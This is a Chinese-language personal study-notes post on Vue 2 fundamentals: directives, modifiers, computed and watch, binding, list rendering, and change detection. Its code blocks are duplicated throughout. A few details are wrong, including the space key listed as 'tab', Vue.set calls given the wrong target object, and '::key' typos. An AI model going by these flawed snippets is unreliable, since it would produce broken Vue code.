Vue
Jan 15, 2023Notes
- 基础
- Vue 组件化编程
- Vue 与 ajax 请求
- Vuex 插件
- 路由器 router 、路由 route
- Vue UI 组件库
- Vue3
- 补充
基础
介绍
Vue 基于虚拟 DOM,一种可以预先通过 JavaScript 进行各种运算,把最终的 DOM 操作计算出来并优化的技术,由于这个 DOM 操作属于预处理操作,并没有真实的操作 DOM,所以叫做虚拟 DOM。
模板语法
插值语法
数据绑定最常见的形式就是使用 Mustache
语法 (双大括号) 的文本插值:
<span>Message: {{ msg }}</span>
<span>Message: {{ msg }}</span>
- v-once - 指令可以进行一次性地插值
- v-html - 双大括号会将数据解释为普通文本,而非 HTML 代码。为了输出真正的 HTML,需要使用 v-html 指令:
<!-- rawHtml 是 html 文本 -->
<p>Using v-html directive: <span v-html="rawHtml"></span></p>
<!-- rawHtml 是 html 文本 -->
<p>Using v-html directive: <span v-html="rawHtml"></span></p>
- v-bind - Mustache 语法不能作用在 HTML attribute 上,遇到这种情况应该使用 v-bind 指令:
<!-- 当 isButtonDisabled 为假的布尔值,按钮无法使用 -->
<button v-bind:disabled="isButtonDisabled">Button</button>
<!-- 当 isButtonDisabled 为假的布尔值,按钮无法使用 -->
<button v-bind:disabled="isButtonDisabled">Button</button>
- 使用 js 表达式
指令
- v-bind - 用于响应式地更新 HTML attribute,单向绑定
<!-- 完整语法 -->
<a v-bind:href="url">...</a>
<!-- 缩写 -->
<a :href="url">...</a>
<!-- 动态参数的缩写 (2.6.0+) -->
<a :[key]="url"> ... </a>
<!-- 完整语法 -->
<a v-bind:href="url">...</a>
<!-- 缩写 -->
<a :href="url">...</a>
<!-- 动态参数的缩写 (2.6.0+) -->
<a :[key]="url"> ... </a>
- v-model - 双向绑定,但是只能应用在表单类元素上(输入类元素,如input、select)
v-model 默认收集的就是 value 值,v-model:value,可以简写为 v-model。
- v-on - 用于监听 DOM 事件
<!-- 完整语法 -->
<a v-on:click="doSomething">...</a>
<!-- 缩写 -->
<a @click="doSomething">...</a>
<!-- 动态参数的缩写 (2.6.0+) -->
<a @[event]="doSomething"> ... </a>
<!-- 完整语法 -->
<a v-on:click="doSomething">...</a>
<!-- 缩写 -->
<a @click="doSomething">...</a>
<!-- 动态参数的缩写 (2.6.0+) -->
<a @[event]="doSomething"> ... </a>
动态参数
可以用方括号括起来的 JavaScript 表达式作为一个指令的参数。
- 动态参数预期会求出一个字符串,异常情况下值为 null。这个特殊的 null 值可以被显性地用于移除绑定。
- 如空格和引号,放在 HTML attribute 名里是无效的。例如:
<a v-bind:['foo' + bar]="value"> ... </a>
<a v-bind:['foo' + bar]="value"> ... </a>
变通的办法是使用没有空格或引号的表达式,或用计算属性替代这种复杂表达式。
修饰符
修饰符 (modifier) 是以半角句号.
指明的特殊后缀,用于指出一个指令应该以特殊方式绑定。
键盘事件 keydown & keyup
<input type="text" @keyup="showInfo">
<input type="text" @keyup="showInfo">
new Vue({
el: '#root',
methods:{
showInfo(e){
console.log(e.target.value);//input 的 value 值
console.log(e.keyCode);//键盘所按按键的编码,可能每种键盘不一样
console.log(e.key);//按键名字,可以用于绑定
},
}
})
new Vue({
el: '#root',
methods:{
showInfo(e){
console.log(e.target.value);//input 的 value 值
console.log(e.keyCode);//键盘所按按键的编码,可能每种键盘不一样
console.log(e.key);//按键名字,可以用于绑定
},
}
})
- Vue 中常用的按键别名:
- 回车:
enter
- 删除:
delete
- 退出:
esc
- 空格:
tab
(特殊,需配合keydown
使用) - 换行:
tab
- 上:
up
- 下:
down
- 左:
left
- 右:
right
- 回车:
如,敲击回车键时,触发函数 showInfo
<input type="text" @keyup.enter="showInfo">
<input type="text" @keyup.enter="showInfo">
可用原始 key 值去绑定,注意有多个单词要使用 ketab-case 的命名方式,如 CapsLock => caps-lock
系统修饰键:ctrl、alt、shift、meta,需注意:
- 一般与
keydown
配合 - 若使用
keyup
,需要同时按下其他键,随后释放其他键,事件才被触发。(不推荐)
- 一般与
可以使用 keyCode 指定具体按键,如
<input type="text" @keyup.13="showInfo">
<input type="text" @keyup.13="showInfo">
一般来说,enter 的 keyCode 为13,但是不同键盘,可能编码不同,不推荐。
- Vue.config.keyCodes.(custom key name) = (keyCode),可以定制按键别名,如
Vue.config.keyCodes.huiche = 13
Vue.config.keyCodes.huiche = 13
注意:
<input type="text" @keyup.ctrl.y="showInfo">
<input type="text" @keyup.ctrl.y="showInfo">
表示需同时按下 ctrl 和 y 键,才触发函数。
事件处理
Vue 绑定元素
- 第一种方式:初始化实例对象的时候,使用
el
属性配置 - 第二种:
vm.$mount('#root')
data 的两种写法
- 对象式
- 函数式,使用组件时,必须使用函数式
Object.defineProperty
let number = 18
const person = {
name:'Amy',
sex:'female',
}
Object.defineProperty(person,'age',{
// value:18,
enumerable:true,//控制属性是否可以枚举,默认值是 false
writable:true,//控制属性是否可以被修改,默认是 false
configurable:true,//控制属性是否可以被删除,默认是 false
// 读取 age 属性时,getter 会被调用,且返回值就是 age 的值
get(){
return number
},
// age 属性被修改时,setter 会被调用,且会收到修改的具体值
set(value){
number = value
}
})
let number = 18
const person = {
name:'Amy',
sex:'female',
}
Object.defineProperty(person,'age',{
// value:18,
enumerable:true,//控制属性是否可以枚举,默认值是 false
writable:true,//控制属性是否可以被修改,默认是 false
configurable:true,//控制属性是否可以被删除,默认是 false
// 读取 age 属性时,getter 会被调用,且返回值就是 age 的值
get(){
return number
},
// age 属性被修改时,setter 会被调用,且会收到修改的具体值
set(value){
number = value
}
})
事件处理
<div id="root">
<button @click="showInfo"></button>
<button @click="showInfo2($event,18)"></button>
</div>
<div id="root">
<button @click="showInfo"></button>
<button @click="showInfo2($event,18)"></button>
</div>
new Vue({
el: '#root',
methods:{
showInfo(){
alert('11')
},
showInfo2(event,value){
console.log(event.target);//触发此函数的元素
alert(value)
}
}
})
new Vue({
el: '#root',
methods:{
showInfo(){
alert('11')
},
showInfo2(event,value){
console.log(event.target);//触发此函数的元素
alert(value)
}
}
})
事件修饰符
- prevent 阻止默认事件,如 a 标签的跳转
<a href="http://..." @click.prevent="fun1">点我</a>
<a href="http://..." @click.prevent="fun1">点我</a>
- stop 阻止事件冒泡
- once 事件只触发一次
- capture 使用事件的捕获模式,捕获时就触发事件
- self 只有
event.target
是当前操作的元素时才触发事件
<div class="demo1" @click.self="showInfo">
<button @click="showInfo"></button>
</div>
<div class="demo1" @click.self="showInfo">
<button @click="showInfo"></button>
</div>
new Vue({
el: '#root',
methods:{
showInfo(e){
console.log(e.target);
},
}
})
new Vue({
el: '#root',
methods:{
showInfo(e){
console.log(e.target);
},
}
})
如果不使用 self,点击 button,输出2次 <button @click="showInfo"></button>
。
- passive 事件的默认行为立即执行,无需等待事件回调执行完毕
以滚动事件为例,分为鼠标滚轮滚动 well,以及滚动条滚动 scroll。
<ul @wheel="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
<ul @wheel="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
wheel 事件的默认行为,滚动条滚动,要在 demo 函数执行完毕后才触发。
<ul @wheel.passive="demo" class="list">
<!-- ... -->
</ul>
<ul @wheel.passive="demo" class="list">
<!-- ... -->
</ul>
使用 passive,滚动条立即滚动,回调函数 demo 也在执行。
<ul @scroll="demo" class="list">
<!-- ... -->
</ul>
<ul @scroll="demo" class="list">
<!-- ... -->
</ul>
但是 scroll 不需要使用 passive,也是立即滚动滚动条。
注意:
修饰符可以连续写
<div class="demo1" @click="showInfo">
<a href="https://..." @click.stop.prevent="showInfo"></button>
</div>
<div class="demo1" @click="showInfo">
<a href="https://..." @click.stop.prevent="showInfo"></button>
</div>
先阻止冒泡,再阻止 a 标签默认的跳转行为。
计算属性 computed
对于模板中任何复杂逻辑,都应当使用计算属性。
姓名案例
- 使用插值语法
<div id="root">
姓:<input type="text" v-model="lastName"> <br/>
名:<input type="text" v-model="firstName"> <br/>
全名:<span>{{lastName}} - {{firstName}}</span>
</div>
<div id="root">
姓:<input type="text" v-model="lastName"> <br/>
名:<input type="text" v-model="firstName"> <br/>
全名:<span>{{lastName}} - {{firstName}}</span>
</div>
new Vue({
el: '#root',
data:{
lastName:'张',
firstName:'三',
}
})
new Vue({
el: '#root',
data:{
lastName:'张',
firstName:'三',
}
})
但是,仅限于没有过多对数据的过多操作时,优选使用插值语法。
- 使用 methods
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName()}}</span>
<!-- 不能简写为 {{fullName}} ,只有在绑定事件时,没有传参,才能省去括号-->
</div>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName()}}</span>
<!-- 不能简写为 {{fullName}} ,只有在绑定事件时,没有传参,才能省去括号-->
</div>
new Vue({
el: '#root',
data:{
firstName:'张',
lastName:'三',
},
methods:{
fullName(){
return this.lastName + ' - ' + this.firstName
}
}
})
new Vue({
el: '#root',
data:{
firstName:'张',
lastName:'三',
},
methods:{
fullName(){
return this.lastName + ' - ' + this.firstName
}
}
})
注意:
Vue 中的 data 任一数据发生变化时,都会重新解析模板,凡是用到变化的数据,都会重新解析。但是 Vue 无法判断 methods 中的方法是否用到 data 中所变化的数据, 所以只要 data 任一数据发生变化时,模板中使用了 methods 中的方法都会重新解析,不论 methods 中的方法是否依赖 data 中改变的数据。
- 使用计算属性
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
<!-- 注意,要与 methods 区分, fullName 是 vm 上的属性,不能写成 fullName() -->
</div>
<div id="root">
姓:<input type="text" v-model="firstName"> <br/>
名:<input type="text" v-model="lastName"> <br/>
全名:<span>{{fullName}}</span>
<!-- 注意,要与 methods 区分, fullName 是 vm 上的属性,不能写成 fullName() -->
</div>
new Vue({
el: '#root',
data:{
firstName:'张',
lastName:'三',
},
computed:{
fullName:{
// 当有人读取 fullName 时,get 被调用,且返回值作为 fullName 的值,放在 vm 上
// get 调用:1.初次读取 fullName时;2.所依赖的数据发生变化时
get(){
return this.lastName + ' - ' + this.firstName
},
// set 调用:fullName 被修改时
set(value){
// this.lastName = value..
// this.firstName = value..
}
}
}
})
new Vue({
el: '#root',
data:{
firstName:'张',
lastName:'三',
},
computed:{
fullName:{
// 当有人读取 fullName 时,get 被调用,且返回值作为 fullName 的值,放在 vm 上
// get 调用:1.初次读取 fullName时;2.所依赖的数据发生变化时
get(){
return this.lastName + ' - ' + this.firstName
},
// set 调用:fullName 被修改时
set(value){
// this.lastName = value..
// this.firstName = value..
}
}
}
})
计算属性:
- 只有通过已有属性计算,才会触发 get 的调用,如
var a = 1;
new Vue({
// ...
computed: {
fullName: {
get() {
return this.lastName + ' - ' + this.firstName + a
},
}
}
// ...
})
var a = 1;
new Vue({
// ...
computed: {
fullName: {
get() {
return this.lastName + ' - ' + this.firstName + a
},
}
}
// ...
})
a 不是 vm 上的属性,a 变化时,fullName 不会更新。
- computed 与 methods 相比,内部有缓存机制,效率更高。
- 必须使用 set 函数相应修改计算属性,使用所依赖的数据发生改变。
- 只需读取计算属性,可简写:
// ...
computed: {
fullName(){
return this.lastName + ' - ' + this.firstName
}
}
// ...
// ...
computed: {
fullName(){
return this.lastName + ' - ' + this.firstName
}
}
// ...
- methods 和 data 中的属性,是直接放置在 vm 上的,而 computed 的属性值,是通过其中的 get 函数返回值决定的。
监视属性 watch
天气案例:
- methods、computed
<div id="root">
<h2>今天的天气是{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
<div id="root">
<h2>今天的天气是{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
})
new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
})
或者只用 computed
<div id="root">
<h2>今天的天气是{{info}}</h2>
<button @click="isHot = ! isHot">切换天气</button>
</div>
<div id="root">
<h2>今天的天气是{{info}}</h2>
<button @click="isHot = ! isHot">切换天气</button>
</div>
new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
}
})
new Vue({
el: '#root',
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
}
})
注意,如果页面中没有使用 vm 上的属性,就算数据变化了页面也不会更新数据。而且,通过 Vue 指令或者语法,只能控制 vm 上的属性,window 上的函数,都无法使用。
- watch 监视
// ...
watch: {
isHot: {
immediate:true,//初始化时让 handler 调用一下
// 当 isHot 发生改变时,handler 被调用
handler(newValue,oldValue) {
}
}
}
// ...
// ...
watch: {
isHot: {
immediate:true,//初始化时让 handler 调用一下
// 当 isHot 发生改变时,handler 被调用
handler(newValue,oldValue) {
}
}
}
// ...
不仅可以监视 data 上的属性,也可以监视计算属性。
另一种写法:
vm.$watch('isHot', {
immediate: true,
handler(newValue, oldValue) {
}
})
vm.$watch('isHot', {
immediate: true,
handler(newValue, oldValue) {
}
})
这种写法往往用于初始化时,无法确定属性是否需要侦听。
注意:监视属性,必须存在,但是如果监视不存在的属性,也不会报错。
深度监视
<div id="root">
<h2>a 的值是:{{numbers.a}}</h2>
<button @click="numbers.a++">点我 a + 1</button>
<h2>b 的值是:{{numbers.b}}</h2>
<button @click="numbers.b++">点我 b + 1</button>
</div>
<div id="root">
<h2>a 的值是:{{numbers.a}}</h2>
<button @click="numbers.a++">点我 a + 1</button>
<h2>b 的值是:{{numbers.b}}</h2>
<button @click="numbers.b++">点我 b + 1</button>
</div>
new Vue({
el: '#root',
data: {
numbers: {
a:1,
b:1,
},
},
watch: {
'numbers.a': {
handler(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
}
})
new Vue({
el: '#root',
data: {
numbers: {
a:1,
b:1,
},
},
watch: {
'numbers.a': {
handler(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
}
})
上述中,a 发生变化,会触发 handler,b 变化时或者如果监视 numbers ,则不会触发 handler。
Vue 默认是可以监测到多层级的数据改变的,但是 watch 属性是不可以的,如果要监测,则要开启 deep:
watch: {
numbers: {
deep:true,//监测多级结构中所有属性变化
handler(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
}
watch: {
numbers: {
deep:true,//监测多级结构中所有属性变化
handler(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
}
监视的简写
当 watch 只使用 handler 配置时,(不使用 deep、immediate)可以简写:
// ...
watch: {
numbers(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
// ...
// ...
watch: {
numbers(newValue, oldValue) {
console.log('newValue :>> ', newValue);
console.log('oldValue :>> ', oldValue);
}
}
// ...
或者
vm.$watch('isHot', function (newValue, oldValue) {
// ...
})
vm.$watch('isHot', function (newValue, oldValue) {
// ...
})
注意,不能写成箭头函数。
姓名案例 - watch
<div id="root">
姓:<input type="text" v-model="firstName"> <br />
名:<input type="text" v-model="lastName"> <br />
全名:<span>{{fullName}}</span>
</div>
<div id="root">
姓:<input type="text" v-model="firstName"> <br />
名:<input type="text" v-model="lastName"> <br />
全名:<span>{{fullName}}</span>
</div>
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
watch: {
firstName(v1) {
setTimeout(() => {
this.fullName = v1 + "-" + this.lastName
}, 1000);
},
lastName(v1) {
this.fullName = this.firstName + "-" + v1
}
}
})
new Vue({
el: '#root',
data: {
firstName: '张',
lastName: '三',
fullName: '张-三'
},
watch: {
firstName(v1) {
setTimeout(() => {
this.fullName = v1 + "-" + this.lastName
}, 1000);
},
lastName(v1) {
this.fullName = this.firstName + "-" + v1
}
}
})
这与 computed 相比,复杂许多,但是,如果想要在 firstName 或 lastName 发生变化后 1s fullName 再改变,只能使用 watch,因为定时器改变了计算属性的返回值。
computed: {
fullName() {
setTimeout(() => {
return this.firstName + "-" + this.lastName
}, 1000);
},
}
computed: {
fullName() {
setTimeout(() => {
return this.firstName + "-" + this.lastName
}, 1000);
},
}
计算属性 fullName 没有返回值,为空。
综上,有异步任务时,使用 watch。
computed 与 watch 的区别
- computed 能完成的功能,watch 都可以完成。
- watch 能实现异步操作, computed 不能。
原则
- 被 Vue 管理的函数,最好写成普通函数,这样 this 指向才是 vm 或 组件实例对象。
- 所有不被 Vue 管理的函数,如定时器(
setTimeout
、ajax
回调函数,最好写成箭头函数,这样 this 指向才是 vm 或 组件实例对象。
Class 与 Style 绑定
绑定 class:
一般绑定,使用 v-bind
- 只有一个样式需要动态绑定,但是类名不确定
<div id="root"> <div class="basic" :class="mood" @click="changeMood"></div> </div>
<div id="root"> <div class="basic" :class="mood" @click="changeMood"></div> </div>
new Vue({ el: '#root', data: { mood: "normal" }, methods: { changeMood() { const moods = ['normal', 'happy', 'sad']; const random_index = Math.floor(Math.random() * 3); this.mood = moods[random_index]; } }, })
new Vue({ el: '#root', data: { mood: "normal" }, methods: { changeMood() { const moods = ['normal', 'happy', 'sad']; const random_index = Math.floor(Math.random() * 3); this.mood = moods[random_index]; } }, })
- 使用数组配置,多个样式动态绑定,样式个数和类名都不确定
<div class="basic" :class="classArr" @click="changeMood"></div>
<div class="basic" :class="classArr" @click="changeMood"></div>
//... data: { classArr: ['normal', 'happy', 'sad'] }, methods: { changeMood() { this.classArr.shift() } }, //...
//... data: { classArr: ['normal', 'happy', 'sad'] }, methods: { changeMood() { this.classArr.shift() } }, //...
- 使用对象配置,多个样式动态绑定,样式个数和类名都确定,但是不确定每个样式是否都要使用
<div id="root"> <div class="basic" :class="classObj" @click="changeMood"></div> </div>
<div id="root"> <div class="basic" :class="classObj" @click="changeMood"></div> </div>
//... data: { classObj: { "normal": true, "happy": true, "sad": true } }, //...
//... data: { classObj: { "normal": true, "happy": true, "sad": true } }, //...
对象语法
在这里绑定一个返回对象的计算属性。这是一个常用且强大的模式。
<div v-bind:class="classObject"></div>
<div v-bind:class="classObject"></div>
data: {
isActive: true,
error: null
},
computed: {
classObject: function () {
return {
active: this.isActive && !this.error,
'text-danger': this.error && this.error.type === 'fatal'
}
}
}
data: {
isActive: true,
error: null
},
computed: {
classObject: function () {
return {
active: this.isActive && !this.error,
'text-danger': this.error && this.error.type === 'fatal'
}
}
}
- 数组语法
绑定 style
<div id="root">
<div class="basic" style="font-size: 40px;"></div>
<div class="basic" :style="{fontSize:fsize + 'px'}"></div>
<div class="basic" :style="styleObj"></div><!-- 对象写法 -->
<div class="basic" :style="[styleObj,styleObj2]"></div><!-- 数组写法 -->
<div class="basic" :style="styleArr"></div><!-- 数组写法 -->
</div>
<div id="root">
<div class="basic" style="font-size: 40px;"></div>
<div class="basic" :style="{fontSize:fsize + 'px'}"></div>
<div class="basic" :style="styleObj"></div><!-- 对象写法 -->
<div class="basic" :style="[styleObj,styleObj2]"></div><!-- 数组写法 -->
<div class="basic" :style="styleArr"></div><!-- 数组写法 -->
</div>
new Vue({
el: '#root',
data: {
fsize: 40,
styleObj: {
fontSize: '40px',
color: 'red',
},
styleObj2: {
backgroundColor: 'orange'
},
styleArr: [
{
fontSize: '40px',
color: 'red',
},
{
backgroundColor: 'orange'
}
]
},
})
new Vue({
el: '#root',
data: {
fsize: 40,
styleObj: {
fontSize: '40px',
color: 'red',
},
styleObj2: {
backgroundColor: 'orange'
},
styleArr: [
{
fontSize: '40px',
color: 'red',
},
{
backgroundColor: 'orange'
}
]
},
})
注意,类型写错了 Vue 也不会报错。
条件渲染
- v-show 适合用于高频率切换是否显示
- v-if 适合低频率切换是否显示
v-if 和 v-else-if 类似 if…else 语句执行。
v-else 中没有条件判断。
<div v-if="n === 1">1</div>
<div v-else-if="n === 2">2</div>
<div v-else-if="n === 3">3</div>
<div v-else>哈哈哈</div>
<div v-if="n === 1">1</div>
<div v-else-if="n === 2">2</div>
<div v-else-if="n === 3">3</div>
<div v-else>哈哈哈</div>
- 当有多个条件渲染相同时
<div v-show="n === 1">
<div>hello1</div>
<div>hello2</div>
<div>hello3</div>
</div>
<div v-show="n === 1">
<div>hello1</div>
<div>hello2</div>
<div>hello3</div>
</div>
使用 template
不会破坏页面结构。
<template v-show="n === 1">
<div>hello1</div>
<div>hello2</div>
<div>hello3</div>
</template>
<template v-show="n === 1">
<div>hello1</div>
<div>hello2</div>
<div>hello3</div>
</template>
列表渲染
v-for
v-for
遍历数组
<div id="root">
<ul>
<li v-for="p in people" :key="p.id"> {{p.name}} - {{p.age}}</li>
</ul>
</div>
<div id="root">
<ul>
<li v-for="p in people" :key="p.id"> {{p.name}} - {{p.age}}</li>
</ul>
</div>
new Vue({
el: '#root',
data: {
people: [
{ id: "001", name: "张三", age: "18" },
{ id: "002", name: "李四", age: "19" },
{ id: "003", name: "王五", age: "23" },
]
},
})
new Vue({
el: '#root',
data: {
people: [
{ id: "001", name: "张三", age: "18" },
{ id: "002", name: "李四", age: "19" },
{ id: "003", name: "王五", age: "23" },
]
},
})
注意,遍历生成数据结构时,必须给每个元素动态绑定 key
。
<li v-for="(value,index) in people" > {{value}} - {{index}}</li>
<li v-for="(value,index) in people" > {{value}} - {{index}}</li>
上述中,value
是 people 中的每个元素,index
是元素索引值。所以,可以用 index 动态绑定 key。
<li v-for="(value,index) in people" :key="index"> {{value}} - {{index}}</li>
<li v-for="(value,index) of people" :key="index"> {{value}} - {{index}}</li>
<li v-for="(value,index) in people" :key="index"> {{value}} - {{index}}</li>
<li v-for="(value,index) of people" :key="index"> {{value}} - {{index}}</li>
v-for
遍历对象
//...
data: {
car: {
brand: "Tesla",
price: "300 million",
color: "black",
}
},
//...
//...
data: {
car: {
brand: "Tesla",
price: "300 million",
color: "black",
}
},
//...
<li v-for="(value,key) of car" :key="key"> {{value}} - {{key}}</li>
<li v-for="(value,key) of car" :key="key"> {{value}} - {{key}}</li>
key
是对象键名,value
是对象键值。
v-for
遍历字符串
<li v-for="(char,index) of str" :key="index"> {{char}} - {{index}}</li>
<li v-for="(char,index) of str" :key="index"> {{char}} - {{index}}</li>
char
是每个字符元素,index
是每个字符索引值。
v-for
遍历数字
<li v-for="(number,index) of numbers" :key="index"> {{number}} - {{index}}</li>
<li v-for="(number,index) of numbers" :key="index"> {{number}} - {{index}}</li>
key 的作用与原理
key
用于标识节点。
虚拟 DOM 的对比算法

当对数据进行破坏顺序操作时,使用 index 作为 key ,新生成的真实 DOM 元素,对应会出现问题。
因为如果对比中,如果虚拟 DOM 不变,是直接使用之前的真实 DOM。

总结:
- index 作为 key 可能会引发问题:
- 对数据进行:逆序添加、逆序删除等破坏顺序的操作时,会产生没有必要的真实 DOM 更新,效率低。
- 如果结构中还包含输入类 DOM:会产生错误 DOM 更新。
列表过滤
- watch
注意,filter
返回的是新数组,不改变原数组。
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="p in filterPeople" ::key="p.id"> {{p.name}} - {{p.sex}}</li>
</ul>
</div>
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="p in filterPeople" ::key="p.id"> {{p.name}} - {{p.sex}}</li>
</ul>
</div>
new Vue({
el: '#root',
data: {
keyWord: "",
people: [
{ id: "001", name: "周冬雨", sex: "female" },
{ id: "002", name: "马冬梅", sex: "female" },
{ id: "003", name: "周杰伦", sex: "male" },
{ id: "004", name: "温兆伦", sex: "male" },
],
filterPeople: [],
},
watch: {
keyWord: {
immediate:true,// 初始化 filterPeople
handler(val) {
this.filterPeople = this.people.filter(item => item.name.indexOf(val) > -1)
}
}
}
})
new Vue({
el: '#root',
data: {
keyWord: "",
people: [
{ id: "001", name: "周冬雨", sex: "female" },
{ id: "002", name: "马冬梅", sex: "female" },
{ id: "003", name: "周杰伦", sex: "male" },
{ id: "004", name: "温兆伦", sex: "male" },
],
filterPeople: [],
},
watch: {
keyWord: {
immediate:true,// 初始化 filterPeople
handler(val) {
this.filterPeople = this.people.filter(item => item.name.indexOf(val) > -1)
}
}
}
})
- computed
//...
computed:{
filterPeople(){
return this.people.filter(item => item.name.indexOf(this.keyWord) > -1)
}
}
//...
//...
computed:{
filterPeople(){
return this.people.filter(item => item.name.indexOf(this.keyWord) > -1)
}
}
//...
注意,data 中,不重复声明 filterPeople
。
列表排序
注意,sort
会改变原数组。
按照年龄排序所搜索到的人:
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 1">年龄升序</button>
<button @click="sortType = 2">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="p in filterPeople" ::key="p.id"> {{p.name}} - {{p.sex}} - {{p.age}}</li>
</ul>
</div>
<div id="root">
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 1">年龄升序</button>
<button @click="sortType = 2">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="p in filterPeople" ::key="p.id"> {{p.name}} - {{p.sex}} - {{p.age}}</li>
</ul>
</div>
new Vue({
el: '#root',
data: {
keyWord: "",
sortType: 0,
people: [
{ id: "001", name: "周冬雨", age: 23, sex: "female" },
{ id: "002", name: "马冬梅", age: 45, sex: "female" },
{ id: "003", name: "周杰伦", age: 38, sex: "male" },
{ id: "004", name: "温兆伦", age: 21, sex: "male" },
],
},
computed: {
filterPeople() {
const arr = this.people.filter(item => item.name.indexOf(this.keyWord) > -1);
if(this.sortType) {
arr.sort((m, n) => {
return this.sortType === 1 ? m.age - n.age : n.age - m.age
})
}
return arr;
}
}
})
new Vue({
el: '#root',
data: {
keyWord: "",
sortType: 0,
people: [
{ id: "001", name: "周冬雨", age: 23, sex: "female" },
{ id: "002", name: "马冬梅", age: 45, sex: "female" },
{ id: "003", name: "周杰伦", age: 38, sex: "male" },
{ id: "004", name: "温兆伦", age: 21, sex: "male" },
],
},
computed: {
filterPeople() {
const arr = this.people.filter(item => item.name.indexOf(this.keyWord) > -1);
if(this.sortType) {
arr.sort((m, n) => {
return this.sortType === 1 ? m.age - n.age : n.age - m.age
})
}
return arr;
}
}
})
计算属性使用的属性如果发生改变,都会重新进行计算。
Vue 监测数据改变的原理
更新时的问题:
<button @click="updateInfo">点我更新列表</button>
<ul>
<li v-for="p in people" ::key="p.id"> {{p.name}} - {{p.sex}} - {{p.age}}</li>
</ul>
<button @click="updateInfo">点我更新列表</button>
<ul>
<li v-for="p in people" ::key="p.id"> {{p.name}} - {{p.sex}} - {{p.age}}</li>
</ul>
//...
data: {
people: [
{ id: "001", name: "周冬雨", age: 23, sex: "female" },
],
},
methods: {
updateInfo(){
this.people[0] = { id: "001", name: "张三", age: 33, sex: "male" }
//this.people.splice(0,1,{ id: "001", name: "张三", age: 33, sex: "male" })
}
},
//...
//...
data: {
people: [
{ id: "001", name: "周冬雨", age: 23, sex: "female" },
],
},
methods: {
updateInfo(){
this.people[0] = { id: "001", name: "张三", age: 33, sex: "male" }
//this.people.splice(0,1,{ id: "001", name: "张三", age: 33, sex: "male" })
}
},
//...
上述中,点击更新按钮后,数据已经发生改变,但是列表并不会发生变化。而且如果在打开 Vue 开发者工具后点击按钮,Vue 不会监测到变化。而在点击按钮后,Vue 能监测到变化,但是列表不会更新。
因为直接操作数组的索引值,Vue 不能监测到数组的变化。使用 splice
,就可以正常监测改变。
- Vue 如何监测对象改变

不管对象深度有多少,Vue 都能监测改变。下列的 a
、b
、name1
、name2
,都能监测到。
//...
data: {
age:18,
numbers:{
a:1,
b:2
},
people:[
{
name1:'张三',
name2:'李四'
}
]
},
//...
//...
data: {
age:18,
numbers:{
a:1,
b:2
},
people:[
{
name1:'张三',
name2:'李四'
}
]
},
//...
- Vue.set()
如果想在 student 上添加新的属性 ,使用 vm._data.student.sex = 'male'
或 ``vm.student.sex = 'male',都没有为
sex设置数据代理,Vue 不能监测到
sex`。
//...
data: {
student:{
name:'张三',
}
},
//...
//...
data: {
student:{
name:'张三',
}
},
//...
注意,上述中,如果模板读取 student.sex
,不会报错,因为 undefined 显示为空。
Vue.set(target,key,val)
的使用:
Vue.set(vm._data.student.sex,'sex','male')
|Vue.set(vm.student.sex,'sex','male')
vm.$set(vm._data.student.sex,'sex','male')
|vm.$set(vm.student.sex,'sex','male')
- 使用 method:
<p v-show="student.sex">{{student.sex}}</p>
<p v-show="student.sex">{{student.sex}}</p>
//...
methods: {
addSex(){
Vue.set(this.student,'sex','male')
},
addSex2(){
this.$set(this.student,'sex','male')
}
},
//...
//...
methods: {
addSex(){
Vue.set(this.student,'sex','male')
},
addSex2(){
this.$set(this.student,'sex','male')
}
},
//...
Vue.set()的局限性:不能在 Vue 实例,或者 Vue 实例的跟数据对象上添加属性,如 data。
- Vue 如何监测数组改变
- 没有为数组中的元素设置 getter 和 setter,如下列的 hobby 属性,如果使用
vm._data.hobby[0] = 'dancing'
,Vue 是无法监测到的。
data: {
hobby: ['play games', 'drink water', 'watch TV'],
},
data: {
hobby: ['play games', 'drink water', 'watch TV'],
},
但是,如果使用能改变数组自身的方法,Vue 是可以监测的:push
,pop
,shift
,unshift
,splice
,sort
,reverse
。
注意:Vue 上的这些数组方法与原始的数组方法是不一样的,如 vm._data.hobby.push === Array.prototype.push
的值是 false。
当然,使用 Vue.set(vm.hobby,0,'dancing')
,也可以正常监测。
Vue 监视数据总结
- Vue 会监视 data 中所有层次的数据。
- 监测对象:如果在 new Vue 时没有传入要监测的数据,要使用
Vue.set()
(vm.$set()
